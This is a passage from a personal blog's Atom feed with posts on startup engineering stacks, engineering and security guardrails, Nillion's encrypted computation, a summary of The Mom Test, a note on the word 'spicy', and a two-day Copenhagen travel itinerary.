]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/sweden" term="sweden" label="sweden"/></entry><entry><title type="html">Engineering stack</title><link href="https://ashishb.net/tech/engineering-stack/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/timing/?utm_source=atom_feed" rel="related" type="text/html" title="Timing"/><link href="https://ashishb.net/tech/real-vs-theoretical-engineering-productivity/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs Theoretical Engineering Productivity"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/too-much-documentation-is-harmful/?utm_source=atom_feed" rel="related" type="text/html" title="Too much documentation is harmful"/><link href="https://ashishb.net/tech/engineering-guardrails/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering Guardrails"/><id>https://ashishb.net/tech/engineering-stack/</id><author><name>Ashish Bhatia</name></author><published>2023-06-03T16:00:12+00:00</published><updated>2023-06-03T16:00:12+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the three distinct engineering stacks for startups: Backend compute, backend storage, and frontend. Learn key considerations for each to enhance your strategy.</blockquote><p>Most startups think of the engineering stack as if it is a single cohesive thing. However, I believe that there are three different engineering stacks that are loosely coupled to each other.</p>
<ol>
<li>Backend compute stack - The backend computes stack consists of backend infrastructure, which could range from serverless (Lambda functions, Cloud Functions) to 
<a href="/tech/docker-101-a-basic-web-server-displaying-hello-world/">Docker</a> on 
<a href="/programming/how-to-deploy-side-projects-as-web-services-for-free/">AWS Fargate/Google Cloud Run</a> to Kubernetes. More obsolete or specialized stacks would consist of Virtual Machines or bare metal deployments as well.The questions to ask while deploying this stack are
<ol>
<li>Where to host the code? AWS vs Google Cloud vs Azure vs Layer 2 providers (render.com, vercel.dev) vs private datacenter</li>
<li>Which language to use for building backend services? Go vs Python vs Rust. A more obsolete stack might even use Node.js.</li>
<li>Which CDN to use? This is relevant only for media-heavy applications</li>
<li>What   
    
    
<a href="https://lobste.rs/newest/ashishb?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">guardrails</a> to apply and when to ensure reliability and observability.</li>
</ol>
</li>
<li>Backend storage stack - The backend storage stack consists of the storage layer. A most basic storage layer might consist of a relational Database (MySQL/Postgres) or NoSQL (Amazon DynamoDB/Google Spanner/Mongo DB). For storing anything larger than 1MB, file/object storage is recommended. Google Cloud Storage, AWS S3 is a prominent example of this type of storage. Lastly, if there are Machine Learning loads involved, the question would the decision around   
    
    
<a href="https://learn.microsoft.com/en-us/semantic-kernel/concepts-ai/vectordb?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">vector databases</a> would be relevant as well.</li>
<li>Frontend stack - The frontend stack consists of user-facing components. The most common example of that is the website. The second most common example of that is mobile apps (Android &amp; iOS). However, some companies might be building their core applications that are more embedded in different workflows. E.g. Shopify Apps for eCommerce plugins, GitHub Apps for developer plugins, web browser extensions, etc.The questions to ask for the frontend stack are
<ol>
<li>What&rsquo;s the primary mode of user interaction - website, mobile app, voice, or some other industry-specific workflow?</li>
<li>Go conservative or exotic? - For example, ReactJS+Next is a pretty conservative choice for building websites. VueJS, I believe is superior but is less popular. And then there is a long tail of frameworks with limited support.</li>
<li>Does code sharing matter? - Apache Cordova, Xamarin, React Native, and Flutter, all support code sharing across Android &amp; iOS platforms, and to some extent even with the Web. The question is whether and how much code sharing matters. For a small startup with a small userbase, probably a lot but for a company with a large (~1M users or more), the benefits are diminishing and might even be negative.</li>
</ol>
</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Nillion</title><link href="https://ashishb.net/security/nillion/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/the-key-problem-in-cryptocurrency/?utm_source=atom_feed" rel="related" type="text/html" title='The "key" problem in cryptocurrency'/><link href="https://ashishb.net/security/understanding-https-warnings-and-error-messages/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding HTTPS warnings and error messages"/><link href="https://ashishb.net/security/is-https-secure/?utm_source=atom_feed" rel="related" type="text/html" title="Is HTTPS secure?"/><link href="https://ashishb.net/security/blackberry-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="BlackBerry Controversy in India"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><id>https://ashishb.net/security/nillion/</id><author><name>Ashish Bhatia</name></author><published>2023-05-28T16:00:12+00:00</published><updated>2023-05-28T16:00:12+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how Nillion&rsquo;s decentralized layer utilizes one-time pads for efficient encrypted data processing, offering lower dispersion and enhanced computational capabilities.</blockquote><p>Recently, I came across   
    
    
<a href="https://linktr.ee/nillion?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nillion</a>&rsquo;s   
    
    
<a href="https://docsend.com/view/7bkgvzagr6ifhwrc?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">whitepaper</a>.
Nillion at its core is trying to be a new decentralized encrypted data-processing layer.
Here&rsquo;s how it works.</p>
<p>Performing computation on encrypted data is an interesting challenge.
Fully-homomorphic encryption has been one approach to it.
It is both computationally expensive and slow. Nillion takes an interesting approach.
It uses one-time pads, something that a cryptography student learns and immediately forgets about.
So, rather than storing the plain-text information, Nillion stores data encrypted (XORed) with one-time pads.
And these pads are generated via multi-party computation with some minimum number of shares for decryption, say <code>T</code>.</p>
<p>What this leads to is something interesting. Rather than storing plain-text data <code>D</code>,
Nillion&rsquo;s decentralized nodes are stored <code>D⊕P</code> where <code>P</code> is a one-time pad that&rsquo;s generated
from multi-party computation where minimum <code>T</code> nodes have to collude to get that.
Can all computations be performed on <code>D⊕P</code>, well, no, But quite a bit.
The bigger advantage, I believe, is that <code>D⊕P</code> has no dispersion.
A typical encryption algorithm is expected to produce high dispersion, so, when you change a single bit in the
plain-text data <code>D</code>, the output will look radically different in several bits all over.
In the case of a one-time pad, there is no such dispersion.
And that makes them a great candidate for being able to perform distributed computation on encrypted data.</p>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/cryptocurrencies" term="cryptocurrencies" label="cryptocurrencies"/><category scheme="https://ashishb.net/tag/encryption" term="encryption" label="encryption"/></entry><entry><title type="html">Spicy vs Chilli</title><link href="https://ashishb.net/linguistics/spicy-vs-chilli/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/linguistics/%C9%9B-sound/?utm_source=atom_feed" rel="related" type="text/html" title="The English ɛ - a popular vowel missing in Indic languages"/><link href="https://ashishb.net/linguistics/how-to-pronounce-tharman-shanmugaratnam/?utm_source=atom_feed" rel="related" type="text/html" title="Musings of transliteration: Tharman Shanmugaratnam's name"/><link href="https://ashishb.net/linguistics/monolingualism/?utm_source=atom_feed" rel="related" type="text/html" title="Monolingualism"/><link href="https://ashishb.net/linguistics/hindi-english-phonemes-that-are-similar-but-distinct/?utm_source=atom_feed" rel="related" type="text/html" title="Hindi-English phonemes that are similar but distinct"/><link href="https://ashishb.net/linguistics/written-script/?utm_source=atom_feed" rel="related" type="text/html" title="Writing Script matters as much as the spoken language"/><id>https://ashishb.net/linguistics/spicy-vs-chilli/</id><author><name>Ashish Bhatia</name></author><published>2023-05-21T16:00:01+00:00</published><updated>2023-05-21T16:00:01+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the cultural differences in defining &ldquo;spicy&rdquo; between Americans and Indians, and how aromatic spices influence the culinary experience.</blockquote><p>When Americans say spicy, they usually mean chili.
For some weird reason, other spices that are more aromatic like Turmeric, cloves, cardamom, etc.
do not seem to fit the definition of &ldquo;spicy&rdquo;.
That&rsquo;s why in a typical Indian/Thai restaurant in the US when the waiter ask how spicy, they mean &ldquo;How much chili should I put in&rdquo;</p>
<p>However, when an Indian says that the spices were good, s/he usually means that the food had an aroma
and a balanced composition of   
    
    
<a href="https://www.independent.co.uk/life-style/food-and-drink/news/scientists-have-figured-out-what-makes-indian-food-so-delicious-10083967.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">contrasting</a> tastes.</p>
]]></content><category scheme="https://ashishb.net/category/linguistics" term="linguistics" label="linguistics"/></entry><entry><title type="html">Book Summary: The Mom Test by Rob Fitzpatrick</title><link href="https://ashishb.net/book-summary/the-mom-test/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/how-to-live/?utm_source=atom_feed" rel="related" type="text/html" title='Notable quotes from "How to Live" by Derek Sivers'/><link href="https://ashishb.net/book-summary/what-i-learned-losing-a-million-dollars-by-jim-paul/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: What I learned losing a million dollars by Jim Paul"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/the-half-life-of-facts/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The half-life of Facts by Samuel Arbesman"/><link href="https://ashishb.net/book-summary/the-new-confessions-of-an-economic-hit-man/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The New Confessions of an Economic Hit Man"/><id>https://ashishb.net/book-summary/the-mom-test/</id><author><name>Ashish Bhatia</name></author><published>2023-05-14T16:00:40+00:00</published><updated>2023-05-14T16:00:40+00:00</updated><content type="html"><![CDATA[<blockquote>Discover key insights from &ldquo;The Mom Test&rdquo; by Rob Fitzpatrick. Learn effective user research strategies, avoid common pitfalls, and transform your product idea into success.</blockquote><p>  
    
    
<a href="https://amzn.to/43lTUis?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Mom Test</a> is an intriguing book by   
    
    
<a href="https://twitter.com/robfitz?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rob Fitzpatrick</a> about how to do user research and validation of one&rsquo;s product idea.</p>
<ol>
<li>Until you get specific with an idea, all products seem good.</li>
<li>Don&rsquo;t ask future hypothetical questions. Ask about specifics in the past.</li>
<li>Talk less; listen more. If you are doing more talking then you are not learning; you are pitching.</li>
<li>A user who doesn&rsquo;t have time to try the good-enough products that exist today won&rsquo;t have time to try your perfect product tomorrow either. This user won&rsquo;t value your product regardless of what they say.</li>
<li>You should charge based on what value you create not what it costs you. See how much the user is paying currently to solve the problem.</li>
<li>User research is about the user and not your product. If they start complimenting you, then you are doing something wrong. If they complimented you then immediately bring the meeting back to the learning conversation.</li>
<li>Users&rsquo; ideas and feature requests should be understood but not obeyed.</li>
<li>For unpleasant tasks, ask yourself if you delegated this task to someone else, what would they do? And then do that yourself.</li>
<li>In case of product risk, for example, games, it is better to build the core game-play mechanics and test it early on.</li>
<li>The early user meetings should be quick. It is better to do them spontaneously in person, at say conferences. Video calls and phone calls are expected to be more formal.</li>
<li>During a customer research avoid giving too much information about what you are working on to avoid biasing them. However, it still, nudges the discussion in a useful direction.</li>
<li>Every meeting succeeds or fails. You lost a meeting if it ends with a compliment or a stalling tactic.</li>
<li>To identify real early adopters, look for currencies of commitment. A compliment costs nothing and it is worth nothing. A real commitment is cash, time (e.g. committing to a trial), or reputation.</li>
<li>At the initial stage, the goal is not to get users but to get learning about users. So, adding temporary friction can help identify serious ones.</li>
<li>The rejection rate, of say cold calls, is completely irrelevant at the initial stage. The goal is to find some potential users to learn from and not to build a reproducible sales pipeline.</li>
<li>The ultimate excuse to ask random people is to claim that you are doing Ph.D. research or claiming to write a book.</li>
<li>How to send cold emails (VFWPA - Very Few Wizards Properly Ask!)
<ol>
<li>Vision - e.g. helping busy teachers in classroom activities</li>
<li>Framing - tell them if you have a product to sell</li>
<li>Weakness - tell them about the product, this shows one has done the basic research</li>
<li>Pedestal - Show how the user is uniquely positioned to help</li>
<li>Ask - ask for the help</li>
</ol>
</li>
<li>When the customer feedback is all over the map, you cannot extract value. You need to narrow down to one specific segment of customers to actually start learning.</li>
<li>The best early adopters are reachable, profitable, and personally rewarding. The last part is really important. Choose customers you like, admire, and enjoy being around. Customer research is draining and if you don&rsquo;t like the market you are in, you are going to drain yourself out.</li>
<li>You can make three mistakes in early segmentation - picking the wrong segment, overlooking the right segment, or not talking to all the stakeholders in the case of a business.</li>
<li>If you don&rsquo;t know what you are trying to learn, don&rsquo;t bother having customer conversations. You need to have some hypothesis of what you are trying to learn first.</li>
<li>Best to have two people doing user research together. One takes notes. One interview. More than two, and it starts to feel like a focus group. And the customer becomes intimidated. If you don&rsquo;t have a co-founder, find a friend who you can count on.</li>
<li>Customers are surprisingly happy to be recorded. However, almost no one goes through recordings later, so, there isn&rsquo;t a point in collecting one. Best to transfer notes to a spreadsheet afterward along with an emoji symbolizing emotions.</li>
<li>Do not take notes on the laptop. It makes the conversation more formal. The only way to make it work is to put the laptop on the side and do touch typing while talking to the customer! And of course, tell the customer that you are a super-slow writer!</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Engineering Guardrails</title><link href="https://ashishb.net/tech/engineering-guardrails/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/timing/?utm_source=atom_feed" rel="related" type="text/html" title="Timing"/><link href="https://ashishb.net/tech/real-vs-theoretical-engineering-productivity/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs Theoretical Engineering Productivity"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/too-much-documentation-is-harmful/?utm_source=atom_feed" rel="related" type="text/html" title="Too much documentation is harmful"/><link href="https://ashishb.net/tech/engineering-stack/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering stack"/><id>https://ashishb.net/tech/engineering-guardrails/</id><author><name>Ashish Bhatia</name></author><published>2023-05-07T16:00:21+00:00</published><updated>2023-05-07T16:00:21+00:00</updated><content type="html"><![CDATA[<blockquote>Explore engineering guardrails from source code to security, ensuring robust production deployment and data safety while streamlining workflows and enhancing protection.</blockquote><p>Guardrails are meant to protect us from tripping over. The same can be said about engineering guardrails.</p>
<p>Like most engineering decisions, adding guardrails is a trade-off. There are multiple levels of adding guardrails and one has to decide which ones and how many should be added.</p>
<ol>
<li>Source code</li>
<li>Production deployments</li>
<li>Data</li>
<li>Information Security</li>
</ol>
<h3 id="source-code">Source code</h3>
<p>There are multiple levels of guardrails one can add at the level of source code. The most basic being CI. A decade ago, setting up Jenkins used to be an effort. These days all version control systems like GitHub and GitLab come with 
<a href="/tech/common-pitfalls-of-github-actions/">built-in CI</a>, utilize that. At the very least, build the code on every relevant pull request. This will ensure that the decision to merge a breaking change cannot be an accidental one.</p>
<p>Other such guardrails can be about adding 
<a href="/all/bad-and-good-ways-to-write-automated-tests/">tests</a>, linter, and even code format checkers (eslint/gofmt/black, etc.) to the CI. These guardrails are especially useful for a new engineering onboarding, as s/he can be confident that his/her changes have a low likelihood of breaking anything.</p>
<p>Add a high-quality <code>.gitignore</code> file. This prevents accidental commits like <code>.env</code> or <code>node_modules</code> to the version control.   
    
    
<a href="https://github.com/simonwhitaker/gibo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">gibo</a> is a really useful tool for generating such files.</p>
<p>Pick a build system and stick to it. My favorite is <code>Makefile</code>. Commands like <code>make build</code>, <code>make lint</code>, <code>make clean</code> would map the correct Go/Android/Python/Typescript/Rust code and I don&rsquo;t have to memorize the esoteric syntax of each of those separately.</p>
<h3 id="production-deployment">Production Deployment</h3>
<p>Guardrails around production deployment should always start from external checks. Tools like   
    
    
<a href="https://uptimerobot.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">UptimeRobot</a> and   
    
    
<a href="https://hyperping.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">HyperPing</a> can regularly ping your external endpoints and verify that they are accessible and responding correctly. Start with a small list but over time, every single endpoint that you have published publicly (e.g. in your mobile app) should be added to the list.</p>
<p>Crash monitoring tools like   
    
    
<a href="https://firebase.google.com/products/crashlytics?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Crashlytics</a> and   
    
    
<a href="https://sentry.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sentry</a> monitor application crashes. Ideally, add them first to the backend and then to the frontends as well to get full crash coverage.</p>
<p>Another useful guardrail is to see how your application is performing. E.g. track the number of incoming requests, the time taken to process those requests, the number of malformed requests, etc. Application Performance Monitoring (APM) systems like   
    
    
<a href="https://newrelic.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">New Relic</a> and   
    
    
<a href="https://www.datadoghq.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">DataDog</a> are useful for tracking patterns and spotting any anomalies over time.</p>
<p>Always use rollouts, so that, a bad build would degrade but never take down the service.</p>
<p>Ensure that production configs are recorded declaratively e.g. <code>config.yaml</code> for Kubernetes. This ensures that all changes are tracked via version control.</p>
<p>Monitor user sessions and see how they are coming. Tools like   
    
    
<a href="https://hotjar.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hotjar</a> for the web and   
    
    
<a href="https://embrace.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Embrace</a> for mobile are good for recording and visualizing the user&rsquo;s overall interaction with the product. This guardrail is more useful for a Product team rolling out a feature.</p>
<h3 id="data">Data</h3>
<p>Declaratively defining data configs are 
<a href="/tech/the-different-layers-of-a-web-applications/">hard</a>. At the very least, if possible, avoid the NoSQL hype and use a relational database like MySQL or Postgres. Further, define the schemas via ORM.</p>
<p>Any files that are being stored into <code>buckets</code> (e.g. Amazon S3) should be versioned. E.g. if you are storing user attachments, consider calling it <code>attachmentV1</code> from the beginning, so that, if you switch to compressed/encrypted attachments, the codebase can seamlessly switch to a bucket named <code>attachmentV2</code>.</p>
<p>Further, ensure that the backups are enabled either implicitly or explicitly. This prevents data loss in case of accidental deletes.</p>
<h3 id="information-security">Information Security</h3>
<ol>
<li>If possible, always use SSO.</li>
<li>Make two-factor mandatory for all accesses.</li>
<li>Require   
    
    
<a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/signing-commits?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">signed commits</a></li>
<li>Keep the frontend (including mobile) and backend codebases separate, so that, frontend engineers (especially offshore contractors) won&rsquo;t need access to the backend codebase.</li>
<li>Use the secrets manager provided by your cloud platform. Overtime, first, migrate all credentials to the secrets manager. Then refresh all those credentials. Most team members should be able to deploy applications without having access to the secrets directly.</li>
<li>Add remote wipe ability on employees&rsquo; devices.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Sometimes the middle ground is most empowering</title><link href="https://ashishb.net/misc/sometimes-the-middle-ground-is-most-empowering/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/good-diet-action-list/?utm_source=atom_feed" rel="related" type="text/html" title='Diet action plan from "How not to die" book'/><link href="https://ashishb.net/misc/binary-vs-graded-outcomes/?utm_source=atom_feed" rel="related" type="text/html" title="Binary vs Graded outcomes"/><link href="https://ashishb.net/book-summary/the-science-of-happily-ever-after/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The science of happily ever after by T Y Tashiro"/><link href="https://ashishb.net/misc/indians-and-food/?utm_source=atom_feed" rel="related" type="text/html" title="Indians and food"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><id>https://ashishb.net/misc/sometimes-the-middle-ground-is-most-empowering/</id><author><name>Ashish Bhatia</name></author><published>2023-04-30T16:00:52+00:00</published><updated>2023-04-30T16:00:52+00:00</updated><content type="html"><![CDATA[<blockquote>Sometimes the middle ground is the most empowering one. It trades off some power in lieu of reducing complexity.</blockquote><p>Writing a blog post in plain text isn&rsquo;t fun.
Neither is writing it in a bulky word processor like Microsoft Word.
The former is too constrained, the latter too unbridled.
Writing in Markdown is fun.
It has sufficient features without creating bloat.</p>
<p>Building a backend in lambda functions has a   
    
    
<a href="https://www.theregister.co.uk/2017/11/06/coreos_kubernetes_v_world/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">strong lock-in</a>.
On the other hand, deploying web services on Virtual Machines (or physical machines!),
while having little lock-in, is complicated. 
<a href="/tech/docker-101-a-basic-web-server-displaying-hello-world/">Docker</a>, however, treads the middle path.
Sufficiently robust without pulling in the complications of maintaining a full-fledged virtual/physical machine.</p>
<p>Sometimes the middle ground is the most empowering one. It trades off some power in lieu of reducing complexity.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/life" term="life" label="life"/></entry><entry><title type="html">Copenhagen</title><link href="https://ashishb.net/travel/copenhagen/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/stockholm-sweden/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Stockholm, Sweden"/><link href="https://ashishb.net/travel/malta/?utm_source=atom_feed" rel="related" type="text/html" title="Malta in winters"/><link href="https://ashishb.net/travel/belgium/antwerp/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Antwerp, Belgium"/><link href="https://ashishb.net/travel/belgium/brussels/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Brussels, Belgium"/><link href="https://ashishb.net/travel/france/paris/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in overhyped Paris"/><id>https://ashishb.net/travel/copenhagen/</id><author><name>Ashish Bhatia</name></author><published>2023-04-22T16:00:28+00:00</published><updated>2023-04-22T16:00:28+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate travel guide to Copenhagen, Denmark. Explore the best of Copenhagen in 2 days with this itinerary.</blockquote><h2 id="day-1">Day 1</h2>
<p>Start the day with a   
    
    
<a href="https://www.copenhagenfreewalkingtours.dk/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">free walking tour</a> to get an idea of the important places and the history of the city.</p>
<figure>
    
    <a href="denmark_royal_palace-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="denmark_royal_palace-1024x768.jpg"
         alt="A bustling historic urban setting features numerous brick and white buildings with ornate architectural details, such as Corinthian columns and intricate moldings" width="900"/> </a>
</figure>

<figure>
    
    <a href="Copenhagen_marble_church-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Copenhagen_marble_church-768x1024.jpg"
         alt="Copenhagen Marble Church" width="900"/> </a>
</figure>

<p>Then, we decided to check out the Gefion Fountain</p>
<figure>
    
    <a href="gefion_fountain-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="gefion_fountain-1024x768.jpg"
         alt="A fountain with intricate sculptures depicting figures and animals, surrounded by flowing water, in a public square setting." width="900"/> </a>
</figure>

<p>and one of the most   
    
    
<a href="https://tammytourguide.wordpress.com/2016/08/04/the-worlds-most-disappointing-tourist-landmarks/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">disappointing</a> tourist attractions, The Little Mermaid.</p>
<figure>
    
    <a href="The_little_mermaid-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="The_little_mermaid-768x1024.jpg"
         alt="Bronze statue of The Little Mermaid sits on a rock by the waterfront, representing a famous tourist landmark in Copenhagen, Denmark." width="900"/> </a>
</figure>

<p>Afterward, we checked out the   
    
    
<a href="https://en.natmus.dk/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">National Museum</a></p>
<figure>
    
    <a href="Reconstructed_ship_at_national_museum_of_Denmark-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Reconstructed_ship_at_national_museum_of_Denmark-1024x768.jpg"
         alt="A reconstructed ship displayed in the National Museum of Denmark serves as a historical exhibit, showcasing maritime heritage with detailed woodwork and craftsmanship." width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>We started with an early morning swim at a public swimming pool next to the lake. You can often spot Jellyfishes in these swimming pools. A local said that only the pink Jellyfish sting and the white ones don&rsquo;t.</p>
<p>Then we headed to the world-famous   
    
    
<a href="https://designmuseum.dk/en/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Design Museum of Denmark</a>.</p>
<figure>
    
    <a href="Copehagen_paper_chair-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Copehagen_paper_chair-768x1024.jpg"
         alt="A paper chair is displayed in the Design Museum of Denmark." width="900"/> </a>
</figure>

<p>Afterward, we checked out the hippie enclave of Christiania.</p>
<figure>
    
    <a href="Copehangen_Christiania-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Copehangen_Christiania-768x1024.jpg"
         alt="A corkscrew spire atop a church tower, set against a blue sky backdrop in Copenhagen." width="900"/> </a>
</figure>

<figure>
    
    <a href="Copenhagen_Church_with_corkscrew_spire-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Copenhagen_Church_with_corkscrew_spire-768x1024.jpg"
         alt="A church with a distinct corkscrew spire in Copenhagen" width="900"/> </a>
</figure>

<p>We took the   
    
    
<a href="https://www.european-traveler.com/denmark/best-free-aerial-views-of-copenhagen-from-christiansborg-tower/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Christianborg Tower</a> (inside the palace) to get a view of the city. The access is free, but expect a wait time of 15-30 mins in a queue.</p>
<figure>
    
    <a href="Copenhagen_View_from_Christianborg-1024x716.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Copenhagen_View_from_Christianborg-1024x716.jpg"
         alt="View of Copenhagen cityscape seen from Christianborg, providing a panoramic urban landscape. Access is free with an expected wait time of 15-30 minutes." width="900"/> </a>
</figure>

<p>From here, we headed to the subterranean art in Cistern. It is a unique experience but over-priced at 115 DKK, I would not recommend it.</p>
<figure>
    
    <a href="Copenhagen_cistern-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Copenhagen_cistern-1024x768.jpg"
         alt="An artistic installation in a cistern setting is described as unique but overpriced at 115 DKK." width="900"/> </a>
</figure>

<p>Newhaven (Nyhaven) is a good area to have dinner or even take a stroll at night.</p>
<figure>
    
    <a href="Copehagen_nyhaven-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Copehagen_nyhaven-1024x768.jpg"
         alt="A scenic view of Newhaven in Copenhagen, showcasing colorful buildings along a canal, ideal for dining and evening strolls. Public transport information suggests a day pass option." width="900"/> </a>
</figure>

<p>Note:</p>
<ol>
<li>
<a href="/travel/public-transport-guide/">Public transport</a> is great. Get a day pass (80 DKK) and that will cover different train systems as well as the expansive &amp; frequent bus lines.</li>
<li>The metro ticket from the airport to the city is ~5 USD.</li>
<li>Copenhagen central station has lockers available for 70 DKK for 24-hour storage. The location is a bit harder to find, as one has to go to the central building first and then ask around for the luggage storage location.</li>
<li>Credits cards are widely accepted, so, there is no need to carry local currency, the Danish Krone.</li>
<li>
<a href="/travel/hotels-vs-airbnb-vs-hostels/">Hotels, and even hostels</a>, are expensive by the standards of Western Europe.</li>
<li>Unlike most of Europe, public toilets are free.</li>
<li>We skipped Tivoli Gardens, the third-oldest operating amusement park in the world. We skipped Dyrehavsbakken, the oldest operating amusement park in the world as well.  Tivoli Gardens was the inspiration for Walt Disney&rsquo;s Disneyland.</li>
<li>The local word for &ldquo;Hello&rdquo; is &ldquo;Hej&rdquo; (pronounced &ldquo;hi&rdquo;), &ldquo;Bye&rdquo; is &ldquo;Hej Hej&rdquo; (pronounced &ldquo;hi hi&rdquo;), and &ldquo;Thanks&rdquo; is &ldquo;Tak&rdquo;.</li>
</ol>
